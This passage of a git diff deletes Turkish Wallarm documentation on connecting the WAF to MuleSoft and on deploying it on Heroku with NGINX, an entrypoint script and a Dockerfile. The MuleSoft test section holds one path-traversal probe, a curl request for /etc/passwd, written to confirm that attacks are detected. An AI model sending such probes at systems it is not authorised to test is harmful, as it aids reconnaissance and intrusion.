mevcut policy'yi kaldırın ve yeni sürümü manuel olarak yeniden uygulayın. - -Policy yükseltmeleri, özellikle büyük sürüm güncellemeleri için bir Wallarm node yükseltmesi gerektirebilir. Kendi kendine barındırılan Node sürüm notları için [Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) bakın. Gelecekteki yükseltmeleri basitleştirmek ve kullanımdan kaldırmayı önlemek için düzenli node güncellemeleri önerilir. - -## Policy'yi kaldırma - -Wallarm policy'yi kaldırmak için, otomatik policy listesinde veya tek bir API'ya uygulanmış policy'lerin listesinde **Remove policy** seçeneğini kullanın. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/mulesoft-for-wizard.md b/docs/latest-tr/installation/connectors/mulesoft-for-wizard.md deleted file mode 100644 index 36c3a0a23e..0000000000 --- a/docs/latest-tr/installation/connectors/mulesoft-for-wizard.md +++ /dev/null @@ -1,95 +0,0 @@ -# Sihirbaz için MuleSoft Mule {#mulesoft-mule-for-wizard} - -Wallarm Edge node, isteklerin hiçbirini engellemeden trafiği Mule APIs'e ulaşmadan önce incelemek için [eşzamanlı](../inline/overview.md) modda Mule Gateway'inize bağlanabilir. - -Bağlantıyı yapılandırmak için aşağıdaki adımları izleyin. - -**1. Wallarm politikasını MuleSoft Exchange'e yükleyin** - -1. Platformunuz için sağlanan kod paketini indirin. -1. Politika arşivini çıkarın. -1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** yolunu izleyin → kuruluşunuzu seçin → ID'sini kopyalayın. -1. İndirilen `pom.xml` dosyasının `groupId` parametresine kopyaladığınız grup ID'sini girin: - - ```xml hl_lines="2" - - BUSINESS_GROUP_ID - wallarm - ``` -1. Çıkardığınız arşivde `conf` dizinini ve içinde aşağıdaki içeriğe sahip bir `settings.xml` dosyasını oluşturun: - - ```xml - - - - - anypoint-exchange-v3 - myusername - mypassword - - - mulesoft-releases-ee - myusername - mypassword - - - - ``` - - `username` ve `password` değerlerini kendi kimlik bilgilerinizle değiştirin. -1. Politikayı MuleSoft'a dağıtın: - - ``` - mvn clean deploy -s conf/settings.xml - ``` - -Özel politikanız artık MuleSoft Anypoint Platform Exchange'de kullanılabilir. - -**2. Wallarm politikasını API'nize ekleyin** - -Wallarm politikasını tek bir API'ye veya tüm API'lere ekleyebilirsiniz. - -1. Politikayı tek bir API'ye uygulamak için Anypoint Platform → **API Manager** → istediğiniz API'yi seçin → **Policies** → **Add policy**. -1. Politikayı tüm API'lere uygulamak için Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy**. -1. Exchange'den Wallarm politikasını seçin. -1. `https://` dahil olmak üzere Wallarm node URL'sini belirtin. -1. Gerekirse diğer parametreleri değiştirin. -1. Politikayı uygulayın. - -[Daha fazla bilgi](mulesoft.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/mulesoft.md b/docs/latest-tr/installation/connectors/mulesoft.md deleted file mode 100644 index 28a00412f8..0000000000 --- a/docs/latest-tr/installation/connectors/mulesoft.md +++ /dev/null @@ -1,225 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# MuleSoft Mule Gateway için Wallarm Connector - -Bu kılavuz, [Mule Gateway](https://docs.mulesoft.com/mule-gateway/mule-gateway-capabilities-mule4) tarafından yönetilen Mule API'lerinizi Wallarm connector kullanarak nasıl güvenceye alacağınızı açıklar. - -Mule Gateway için Wallarm'ı bir connector olarak kullanmak için, **Wallarm node'u harici olarak dağıtmanız** ve trafiği analiz için Wallarm node'una yönlendirmek üzere **MuleSoft içinde Wallarm tarafından sağlanan policy'yi uygulamanız** gerekir. - -Mule Gateway için Wallarm connector yalnızca [in-line](../inline/overview.md) trafik analizini destekler: - -![MuleSoft with Wallarm policy](../../images/waf-installation/gateways/mulesoft/traffic-flow-mule-gateway-inline.png) - -## Kullanım senaryoları - -Bu çözüm, Mule Gateway tarafından yönetilen Mule API'lerini güvenceye almak için önerilen yaklaşımdır. - -## Sınırlamalar - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## Gereksinimler - -Dağıtıma devam edebilmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* MuleSoft platformunu anlama. -* Anypoint Platform içinde Enterprise aboneliği (özel policy dağıtımı ve harici trafik yönlendirme için gereklidir). -* Ana sisteminizde [Docker](https://docs.docker.com/engine/install/) yüklü ve çalışır durumda. -* [Maven (`mvn`)](https://maven.apache.org/install.html). -* MuleSoft kullanıcınızın MuleSoft Anypoint Platform hesabınıza artifact yükleme yetkisi olması. -* [MuleSoft Exchange kimlik bilgileriniz (kullanıcı adı ve parola)](https://docs.mulesoft.com/mule-gateway/policies-custom-upload-to-exchange#deploying-a-policy-created-using-the-maven-archetype) `/conf/settings.xml` dosyasında belirtilmiş olmalı. -* Uygulamanız ve API'niz bağlantılı olmalı ve Mule Gateway üzerinde çalışıyor olmalı. -* Wallarm Console içindeki [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip hesaba erişim. - -## Dağıtım - -### 1. Bir Wallarm node'u dağıtın - -Wallarm node, dağıtmanız gereken Wallarm platformunun çekirdek bir bileşenidir. Gelen trafiği inceler, kötü amaçlı etkinlikleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Gereksinim duyduğunuz kontrol seviyesine bağlı olarak, Wallarm tarafından barındırılan şekilde veya kendi altyapınızda dağıtabilirsiniz. - -=== "Edge node" - Connector için Wallarm tarafından barındırılan bir node dağıtmak üzere [talimatları](../security-edge/se-connector.md) izleyin. -=== "Self-hosted node" - Self-hosted node dağıtımı için bir artifact seçin ve ekli talimatları izleyin: - - * Linux altyapıları (bare metal veya VM'ler) için [Tümü-bir-arada yükleyici](../native-node/all-in-one.md) - * Container tabanlı dağıtımlar kullanan ortamlar için [Docker imajı](../native-node/docker-image.md) - * AWS altyapıları için [AWS AMI](../native-node/aws-ami.md) - * Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Obtain and upload the Wallarm policy to MuleSoft Exchange - -Wallarm policy'sini MuleSoft Exchange'e almak ve yüklemek için şu adımları izleyin: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** yolunu izleyin ve platformunuz için bir code bundle indirin. - - Self-hosted node çalıştırıyorsanız, code bundle almak için sales@wallarm.com ile iletişime geçin. -1. Policy arşivini çıkarın. -1. `pom.xml` dosyası içinde aşağıdakileri belirtin: - - === "Küresel örnek" - 1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → kurumunuzu seçin → kimliğini (ID) kopyalayın. - 1. Kopyalanan grup kimliğini `pom.xml` dosyasındaki `groupId` parametresine belirtin: - - ```xml hl_lines="2" - - BUSINESS_GROUP_ID - wallarm - ``` - === "Bölgesel örnek" - 1. MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → kurumunuzu seçin → kimliğini (ID) kopyalayın. - 1. Kopyalanan grup kimliğini `pom.xml` dosyasındaki `groupId` parametresine belirtin. - 1. Belirli bölgelerde barındırılan MuleSoft örnekleri için, `pom.xml` dosyasını ilgili bölgesel URL'leri kullanacak şekilde güncelleyin. Örneğin, Avrupa'daki bir MuleSoft örneği için: - - ```xml hl_lines="2 7 14 24" - - BUSINESS_GROUP_ID - wallarm - - - 4.1.2 - https://maven.eu1.anypoint.mulesoft.com/api/v1/organizations/${project.groupId}/maven - - - - - anypoint-exchange-v3 - Anypoint Exchange - https://maven.eu1.anypoint.mulesoft.com/api/v3/organizations/${project.groupId}/maven - - default - - - - - - anypoint-exchange-v3 - Anypoint Exchange - https://maven.eu1.anypoint.mulesoft.com/api/v3/maven - default - - - ``` -1. `conf` dizinini oluşturun ve içinde aşağıdaki içerik ile bir `settings.xml` dosyası oluşturun: - - === "Kullanıcı adı ve parola" - `username` ve `password` ifadelerini gerçek kimlik bilgilerinizle değiştirin: - - ```xml - - - - - anypoint-exchange-v3 - myusername - mypassword - - - mulesoft-releases-ee - myusername - mypassword - - - - ``` - === "Token (MFA etkinse)" - [`password` parametresinde token'ınızı oluşturun ve belirtin](https://docs.mulesoft.com/access-management/saml-bearer-token): - - ```xml - - - - - anypoint-exchange-v3 - ~~~Token~~~ - 01234567-89ab-cdef-0123-456789abcdef - - - mulesoft-releases-ee - ~~~Token~~~ - 01234567-89ab-cdef-0123-456789abcdef - - - - ``` -1. Aşağıdaki komutu kullanarak policy'yi MuleSoft'a dağıtın: - - ``` - mvn clean deploy -s conf/settings.xml - ``` - -Özel policy'niz artık MuleSoft Anypoint Platform Exchange içinde kullanılabilir. - -![MuleSoft with Wallarm policy](../../images/waf-installation/gateways/mulesoft/wallarm-policy-in-exchange.png) - -### 3. Policy'yi API'nize ekleyin - -Wallarm policy'yi tek bir API'ye veya tüm API'lere ekleyebilirsiniz. - -1. Policy'yi tek bir API'ye uygulamak için Anypoint Platform → **API Manager** → ilgili API'yi seçin → **Policies** → **Add policy** yolunu izleyin. -1. Policy'yi tüm API'lere uygulamak için Anypoint Platform → **API Manager** → **Automated Policies** → **Add automated policy** yolunu izleyin. -1. Exchange içinden Wallarm policy'yi seçin. -1. `http://` veya `https://` dahil olmak üzere Wallarm node URL'sini belirtin. -1. Gerekirse diğer parametreleri değiştirin. -1. Policy'yi uygulayın. - -![Wallarm policy](../../images/waf-installation/gateways/mulesoft/policy-setup.png) - -## Test - -Dağıtılan policy'nin işlevselliğini test etmek için şu adımları izleyin: - -1. API'nize test [Yol Geçişi][ptrav-attack-docs] saldırısını içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki **Attacks** bölümünü açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzdeki saldırılar][attacks-in-ui-image] - - Wallarm node modu [engelleme](../../admin-en/configure-wallarm-mode.md) olarak ayarlanmışsa ve trafik in-line akıyorsa, istek aynı zamanda engellenecektir. - -## Sorun giderme - -Çözüm beklendiği gibi çalışmıyorsa, MuleSoft Anypoint Platform → **Runtime Manager** → uygulamanız → **Logs** yoluyla API'nizin günlüklerine bakın. - -Ayrıca **API Manager** içinde API'nize giderek ve **Policies** sekmesinde uygulanan policy'leri inceleyerek policy'nin API'ye uygulanıp uygulanmadığını doğrulayabilirsiniz. Automated policy'ler için, kapsanan API'leri ve varsa hariç tutma nedenlerini görmek üzere **See covered APIs** seçeneğini kullanabilirsiniz. - -## Policy'yi yükseltme - -Dağıtılan Wallarm policy'yi [daha yeni bir sürüme](code-bundle-inventory.md#mulesoft-mule-gateway) yükseltmek için: - -1. Güncellenmiş Wallarm policy'yi indirin ve [Adım 2](#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange)'de açıklandığı gibi MuleSoft Exchange'e yükleyin. -1. Yeni sürüm Exchange'de göründüğünde **API Manager** → API'niz → **Policies** → Wallarm policy → **Edit configuration** → **Advanced options** yolunu izleyin ve açılır listeden yeni policy sürümünü seçin. -1. Yeni sürüm ek parametreler getiriyorsa, gerekli değerleri sağlayın. - - Örneğin 2.x'ten 3.x'e yükseltiliyorsa: - - * **CLIENT HOST EXPRESSION**: özel bir değişiklik gerekmedikçe varsayılan değer `#[attributes.headers['x-forwarded-host']]` kullanın. - * **CLIENT IP EXPRESSION**: özel bir değişiklik gerekmedikçe varsayılan değer `#[attributes.headers['x-forwarded-for']]` kullanın. -1. Değişiklikleri kaydedin. - -Wallarm policy, automated policy olarak uygulanmışsa doğrudan yükseltme mümkün olmayabilir. Bu durumda mevcut policy'yi kaldırın ve yeni sürümü manuel olarak yeniden uygulayın. - -Policy yükseltmeleri, özellikle ana sürüm güncellemelerinde, bir Wallarm node yükseltmesi gerektirebilir. Self-hosted Node sürüm notları ve yükseltme talimatları için [Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) veya [Edge connector yükseltme prosedürüne](../security-edge/se-connector.md#upgrading-the-edge-node) bakın. Gelecekteki yükseltmeleri kolaylaştırmak ve kullanımdan kaldırmaları önlemek için düzenli node güncellemeleri önerilir. - -## Policy'yi kaldırma - -Wallarm policy'yi kaldırmak için, otomatik policy listesinde veya tek bir API'ye uygulanan policy'ler listesinde **Remove policy** seçeneğini kullanın. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/overview.md b/docs/latest-tr/installation/connectors/overview.md deleted file mode 100644 index 7dea74248f..0000000000 --- a/docs/latest-tr/installation/connectors/overview.md +++ /dev/null @@ -1,46 +0,0 @@ -# Wallarm'ı Bir Bağlayıcı Olarak Dağıtma - -API dağıtımı, Azion Edge, Akamai Edge, MuleSoft, Apigee ve CloudFront gibi harici araçlar kullanmak dahil olmak üzere çeşitli şekillerde yapılabilir. Bu API'leri Wallarm ile güvence altına almanın bir yolunu arıyorsanız, özellikle bu tür durumlar için tasarlanmış "bağlayıcılar" biçiminde bir çözüm sunuyoruz. - -## Nasıl çalışır - -Wallarm'ın bağlayıcı çözümü, trafiği filtrelemek ve analiz etmek için API ağ geçitleri veya uç platformları gibi üçüncü taraf platformlarla entegre olur. Çözüm iki ana bileşen ile çalışır: - -* **Wallarm node**, [Wallarm](../security-edge/se-connector.md) veya müşteri tarafından barındırılır ve trafik analizi ile güvenlik kontrollerini gerçekleştirir. -* Üçüncü taraf platforma enjekte edilerek trafiği analiz için Wallarm node'a yönlendiren **Wallarm tarafından sağlanan kod paketi veya politika**. - -Bağlayıcılarla trafik ya [satır içi](../inline/overview.md) ya da [bant dışı](../oob/overview.md) analiz edilebilir: - -=== "Satır içi trafik akışı" - - Wallarm, kötü amaçlı etkinliği [engelleyecek](../../admin-en/configure-wallarm-mode.md) şekilde yapılandırılmışsa: - - ![görsel](../../images/waf-installation/general-traffic-flow-for-connectors-inline.png) -=== "Bant dışı trafik akışı" - ![görsel](../../images/waf-installation/general-traffic-flow-for-connectors-oob.png) - -## Desteklenen platformlar - -Wallarm aşağıdaki platformlar için bağlayıcılar sunar: - -| Bağlayıcı | Desteklenen trafik akışı modu | Bağlayıcı barındırma | -| --- | ---- | ---- | -| [MuleSoft Mule Gateway](mulesoft.md) | Satır içi | Security Edge, kendi barındırmalı | -| [MuleSoft Flex Gateway](mulesoft-flex.md) | Satır içi, bant dışı | Kendi barındırmalı | -| [Apigee](apigee.md) | Satır içi |Kendi barındırmalı | -| [Akamai](akamai-edgeworkers.md) | Satır içi, bant dışı |Kendi barındırmalı | -| [Azion Edge](azion-edge.md) | Satır içi |Kendi barındırmalı | -| [Amazon CloudFront](aws-lambda.md) | Satır içi, bant dışı | Security Edge, kendi barındırmalı | -| [Cloudflare](cloudflare.md) | Satır içi, bant dışı | Security Edge, kendi barındırmalı | -| [Kong Ingress Controller](kong-api-gateway.md) | Satır içi | Kendi barındırmalı | -| [Istio Ingress](istio.md) | Satır içi, bant dışı | Kendi barındırmalı | -| [Broadcom Layer7 API Gateways](layer7-api-gateway.md) | Satır içi | Kendi barındırmalı | -| [Fastly](fastly.md) | Satır içi, bant dışı | Security Edge, kendi barındırmalı | -| [IBM DataPower](ibm-api-connect.md) | Satır içi | Security Edge, kendi barındırmalı | - -Aradığınız bağlayıcıyı bulamadıysanız, gereksinimlerinizi görüşmek ve olası çözümleri keşfetmek için lütfen [Satış ekibimiz](mailto:sales@wallarm.com) ile iletişime geçmekten çekinmeyin. - -!!! info "Dağıtım alternatifleri" - Yönetilen bir satır içi seçenek mi istiyorsunuz? [Security Edge](../security-edge/overview.md)'i inceleyin. - - Geleneksel kendi yönetimli dağıtımlar (VM'ler, Kubernetes, bulut ortamları) için bkz. [Kendi Barındırılan Node Dağıtımı](../supported-deployment-options.md). \ No newline at end of file diff --git a/docs/latest-tr/installation/custom/custom-nginx-version.md b/docs/latest-tr/installation/custom/custom-nginx-version.md deleted file mode 100644 index 34de6d9cb4..0000000000 --- a/docs/latest-tr/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1,19 +0,0 @@ -# Özel NGINX Paketleri - -[hepsi bir arada kurulum](../../installation/nginx/all-in-one.md) tarafından desteklenen sürümlerden farklı bir NGINX sürümü için, örneğin kararlı sürüm, mainline NGINX Plus veya dağıtım sürümü için Wallarm’a ihtiyacınız varsa, aşağıdaki talimatları izleyerek özel bir Wallarm derlemesi talep edebilirsiniz. - -Wallarm modülü, Wallarm paketleri yeniden derlenerek, NGINX `mainline` dahil olmak üzere NGINX’in özel bir derlemesiyle entegre edilebilir. Paketleri yeniden derlemek için lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ekibiyle iletişime geçin ve aşağıdaki bilgileri sağlayın: - -* Linux çekirdek sürümü: `uname -a` -* Linux dağıtımı: `cat /etc/*release` -* NGINX sürümü: - - * [NGINX resmi derleme](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * NGINX özel derleme: `/nginx -V` - -* Uyumluluk imzası: - - * [NGINX resmi derleme](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * NGINX özel derleme: `egrep -ao '.,.,.,[01]{33}' /nginx` - -* NGINX worker süreçlerini çalıştıran kullanıcı (ve kullanıcının grubu): `grep -w 'user' ` \ No newline at end of file diff --git a/docs/latest-tr/installation/custom/request-custom-deployment.md b/docs/latest-tr/installation/custom/request-custom-deployment.md deleted file mode 100644 index cfef14b9bd..0000000000 --- a/docs/latest-tr/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1,17 +0,0 @@ -# Özel Dağıtım Seçeneği Talep Edin - -[desteklenen seçenekler](../supported-deployment-options.md) listemizde yer almayan özel dağıtım seçenekleriyle ilgileniyorsanız, benzersiz ihtiyaçlarınıza mükemmel şekilde uyan bir çözümü bulmak için sizinle işbirliği yapmaktan memnuniyet duyarız. - -Belirli altyapı gereksinimleri, güvenlik ihtiyaçları, entegrasyon bağımlılıkları ve daha fazlası gibi çeşitli senaryolarda özel bir Wallarm dağıtım derlemesine ihtiyaç duyabilirsiniz. Aşağıda, özel bir dağıtım derlemesinin gerekli olabileceği durumlara bazı örnekler verilmiştir: - -* Hizmetler, desteklenen seçenek olarak listelenmeyen bir bulut platformunda çalışıyor. -* Dağıtım prosedürü birkaç teknolojinin bir kombinasyonunu içeriyor veya kendi kendine barındırılan ve bulut tabanlı altyapının bir karışımına sahip hibrit ortamlarda çalışıyor; bu da önceden tanımlanmış listeden doğru dağıtım seçeneğini seçmeyi zorlaştırıyor. -* Özel olarak kurgulanmış bir trafik aynası için bant dışı bir çözüme ihtiyaç duyuyorsunuz. -* Hizmetler, belgelerde belirtilmeyen özel sürüm veya türlerde Ingress denetleyicileri, web sunucuları, yük dengeleyiciler vb. ile uyumludur. - - Özel bir NGINX sürümü için yükleyici arıyorsanız, bunu nasıl edineceğinize ilişkin [özel talimatlara](custom-nginx-version.md) bakın. - -Özel bir Wallarm dağıtım seçeneği talep etmek için: - -* [Wallarm satış ekibiyle iletişime geçin](mailto:sales@wallarm.com?subject=Request%20for%20custom%20Wallarm%20deployment&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20explore%20a%20Wallarm%20deployment%20option%20for%20my%20product%20security.%20I%20couldn%27t%20find%20what%20I%20need%20among%20the%20listed%20options%20in%20your%20documentation%2C%20and%20I%20would%20appreciate%20your%20help%20to%20explore%20the%20possibilities.%0AI%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0AThank%20you%20for%20your%20time%20and%20assistance.), veya -* [Demo talep formu aracılığıyla kişisel bir görüşme planlayın](https://www.wallarm.com/request-demo) \ No newline at end of file diff --git a/docs/latest-tr/installation/heroku/docker-image.md b/docs/latest-tr/installation/heroku/docker-image.md deleted file mode 100644 index d243f516e6..0000000000 --- a/docs/latest-tr/installation/heroku/docker-image.md +++ /dev/null @@ -1,518 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[node-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[doc-stat-service]: ../../admin-en/configure-statistics-service.md -[aio-docs]: ../nginx/all-in-one.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Heroku üzerinde Wallarm'ı çalıştırma - -Wallarm, [Heroku](https://www.heroku.com/) bulut platformunda dağıtılan web uygulamalarını ve API'leri koruyabilir. Bu kılavuz, trafiği gerçek zamanlı analiz etmek için Wallarm düğümünü Heroku üzerinde çalıştırma sürecini adım adım açıklar. - -Şu anda Wallarm tarafından Heroku için resmi bir Docker imajı bulunmamaktadır. Bu nedenle bu kılavuz, [all-in-one installer][aio-docs] kullanılarak kendi imajınızı nasıl oluşturup çalıştıracağınızı açıklar. - -## Gereksinimler - -* Ana sisteminizde yüklü [Docker](https://docs.docker.com/engine/install/) -* Heroku Wallarm Docker imajını göndermek için Docker hesabı -* Ana sisteminizde yüklü [Heroku CLI](https://devcenter.heroku.com/articles/heroku-cli) -* Heroku web dyno’larında çalışan uygulamalar veya API’ler -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) ortamlarında Wallarm Console üzerinde yönetici erişimi -* all-in-one Wallarm installer’ı indirmek için `https://meganode.wallarm.com` erişimi -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` erişimi -* Saldırı tespit kuralları ve [API spesifikasyonları][api-spec-enforcement-docs] güncellemelerini indirmek ve [allowlist'e, denylist'e veya graylist'e][ip-lists-docs] aldığınız ülkeler, bölgeler veya veri merkezleri için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" - -## Adım 1: Wallarm Docker yapılandırmasını hazırlayın - -Wallarm’ın Docker imajını Heroku’da dağıtmak için, öncelikle imajı oluşturma sürecinde gerekli yapılandırma dosyalarını oluşturun. Şu adımları izleyin: - -1. Yerel sisteminizde, Wallarm Docker yapılandırmaları için özel bir dizin oluşturun ve bu dizine geçin. -1. NGINX ve [Wallarm yapılandırmalarını][waf-directives-instr] içeren bir `nginx.conf` dosyası hazırlayın. Docker imajı [NGINX-uyumlu all-in-one installer][aio-docs] üzerine inşa edileceğinden, NGINX’in uygun şekilde yapılandırıldığından emin olun. - - Aşağıda, Wallarm düğümünü monitoring modunda çalıştıran temel bir yapılandırma şablonu bulunmaktadır: - - ``` - daemon off; - worker_processes auto; - load_module /usr/lib/nginx/modules/ngx_http_wallarm_module.so; - pid /tmp/nginx.pid; - include /etc/nginx/modules-enabled/*.conf; - - events { - worker_connections 768; - use epoll; - accept_mutex on; - } - - http { - gzip on; - gzip_comp_level 2; - gzip_min_length 512; - gzip_proxied any; # Heroku yönlendiricisi Via başlığını gönderir - - proxy_temp_path /tmp/proxy_temp; - client_body_temp_path /tmp/client_temp; - fastcgi_temp_path /tmp/fastcgi_temp; - uwsgi_temp_path /tmp/uwsgi_temp; - scgi_temp_path /tmp/scgi_temp; - - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - server_tokens off; - - # server_names_hash_bucket_size 64; - # server_name_in_redirect off; - - include /etc/nginx/mime.types; - default_type application/octet-stream; - - access_log /var/log/nginx/access.log; - error_log /var/log/nginx/error.log; - - # Ana Heroku uygulaması - server { - listen $PORT default_server; - server_name _; - wallarm_mode monitoring; - - location / { - proxy_pass http://unix:/tmp/nginx.socket; - - # Heroku uygulamaları her zaman bir yük dengeleyicinin arkasındadır, bu nedenle tüm IP'lere güveniyoruz - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - real_ip_recursive off; - proxy_redirect off; - proxy_set_header Host $http_host; - proxy_set_header "Connection" ""; - } - - error_page 403 /403.html; - location = /403.html { - root /usr/share/nginx/html; - internal; - } - } - - # Wallarm durum yardımcı sayfası (yalnızca localhost) - server { - listen 127.0.0.8:$PORT; - server_name localhost; - allow 127.0.0.0/8; - deny all; - wallarm_mode off; - disable_acl "on"; - access_log off; - location ~/wallarm-status$ { - wallarm_status on; - } - } - } - ``` -1. Wallarm Docker imajı için yönergeler içeren aşağıdaki `entrypoint.sh` dosyasını oluşturun: - - ``` - #!/bin/bash - - set -e - - log() { - local msg="$1" - local level="$2" - if [ -z "$level" ]; then - level="INFO" - fi - echo "[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $msg" - } - - log "Script execution started." - - # Gerekli dizinlerin mevcut olduğundan emin olun - log "Ensuring necessary directories exist for supervisord." - mkdir -p /opt/wallarm/var/log/wallarm - mkdir -p /opt/wallarm/run/supervisor - - if [ ! -z "$WALLARM_API_TOKEN" ]; then - log "WALLARM_API_TOKEN is set, checking configuration." - if [[ $DYNO == web.* ]]; then - log "Heroku dyno type [$DYNO] is 'web', proceeding with Wallarm configuration." - # Ortam değişkenlerini aktar - log "Propagating environment variables from /opt/wallarm/env.list." - set -a - source /opt/wallarm/env.list - if [ -s /etc/wallarm-override/env.list ]; then - log "Propagating environment variables from /etc/wallarm-override/env.list." - source /etc/wallarm-override/env.list - fi - set +a - - # Wallarm düğümünü Cloud'da kaydet - log "Registering Wallarm node in the cloud." - /opt/wallarm/register-node - - # NGINX yapılandırmasında PORT değerini ayarla - log "Replacing \$PORT in Nginx configuration with value $PORT." - sed -i "s/\$PORT/${PORT}/g" /etc/nginx/nginx.conf - - # PORT'un başarıyla değiştirildiğini doğrula - log "Checking if the PORT in Nginx configuration was successfully replaced." - if cat /etc/nginx/nginx.conf | grep -q "listen ${PORT}"; then - log "Successfully replaced PORT in Nginx configuration with value $PORT." - else - log "Failed to replace PORT in Nginx configuration!" "ERROR" - exit 1 - fi - - # $PORT'u $NGINX_PORT olarak dışa aktar (export-metrics script'i için gereklidir) - log "Exporting PORT as NGINX_PORT for Wallarm metrics." - export NGINX_PORT="$PORT" - - # Tüm Wallarm servislerini ve NGINX'i supervisord altında başlat - log "Starting all Wallarm services and NGINX under supervisord." - /opt/wallarm/usr/bin/python3.10 /opt/wallarm/usr/bin/supervisord -c /opt/wallarm/etc/supervisord.conf --loglevel=debug - # supervisord'in başarıyla başladığını kontrol et - log "Checking if supervisord process is running." - if pgrep -f "supervisord" > /dev/null; then - log "supervisord process started successfully." - else - log "Failed to start supervisord process!" "ERROR" - exit 1 - fi - - # supervisord tarafından yönetilen servislerin durumunu kontrol et - log "Checking the status of all services managed by supervisord every 10s during 3 minutes." - timeout=0 - - while (/opt/wallarm/usr/bin/supervisorctl -c /opt/wallarm/etc/supervisord.conf status | grep -qv "RUNNING"); - do - log "One or more services failed to start!" "ERROR" - log "Waiting 10s and check it again" - sleep 10s - timeout=$(( timeout + 10 )) - - if [ $timeout -ge 180 ]; - then - log "One or more services failed to start!" "ERROR" - /opt/wallarm/usr/bin/supervisorctl -c /opt/wallarm/etc/supervisord.conf status - exit 1 - fi - done - - log "All services are running successfully." - log "Wallarm configuration completed." - - else - log "Heroku dyno type [$DYNO] is not 'web', skipping Wallarm configuration." - fi - else - log "WALLARM_API_TOKEN is not set, executing CMD." - fi - - # CMD komutunu çalıştır - log "Executing command: $@" - exec "$@" - log "Script execution finished." - ``` - -1. `entrypoint.sh` dosyasının izinlerini aşağıdaki komutla `-rwxr-xr-x` olarak ayarlayın: - - ``` - chmod 755 entrypoint.sh - ``` -1. Wallarm tarafından engellenecek istekler için düzgün yapılandırılmış bir sayfa gösteren bir `403.html` dosyası tasarlayın. Aşağıdakini kopyalayabilirsiniz: - - ```html - Forbidden
              Your request has been blocked

              If you think this is a mistake, please get in touch with the app's support team.

              - ``` - -1. Wallarm’ın Docker imajını oluşturma sürecini tanımlamak için bir `Dockerfile` oluşturun: - - ```dockerfile - FROM ubuntu:22.04 - - ARG VERSION="6.5.1" - - ENV PORT=3000 - ENV WALLARM_LABELS="group=heroku" - ENV WALLARM_API_TOKEN= - ENV WALLARM_API_HOST="us1.api.wallarm.com" - - RUN apt-get -qqy update && apt-get -qqy install nginx curl && apt-get clean - - # Wallarm all-in-one installer’ı indirip aç - RUN curl -o /install.sh "https://meganode.wallarm.com/$(echo "$VERSION" | cut -d '.' -f 1-2)/wallarm-$VERSION.x86_64-glibc.sh" \ - && chmod +x /install.sh \ - && /install.sh --noexec --target /opt/wallarm \ - && rm -f /install.sh \ - && cd /opt/wallarm \ - && chmod +x pick-module.sh \ - && SELECTED_MODULE="$(./pick-module.sh)" \ - && echo "Selected module => $SELECTED_MODULE" \ - # wlrm-modülünü NGINX'in modül dizinine kopyala - && cp "$SELECTED_MODULE" /usr/lib/nginx/modules/ngx_http_wallarm_module.so \ - && mkdir -p /usr/local/lib \ - && mv /opt/wallarm/modules/libwallarm.so* -t "/usr/local/lib/" \ - && rm -rf /opt/wallarm/modules - - # supervisord’u arka planda çalıştır. Ön plandaki süreç Heroku uygulamasının kendisidir - RUN sed -i 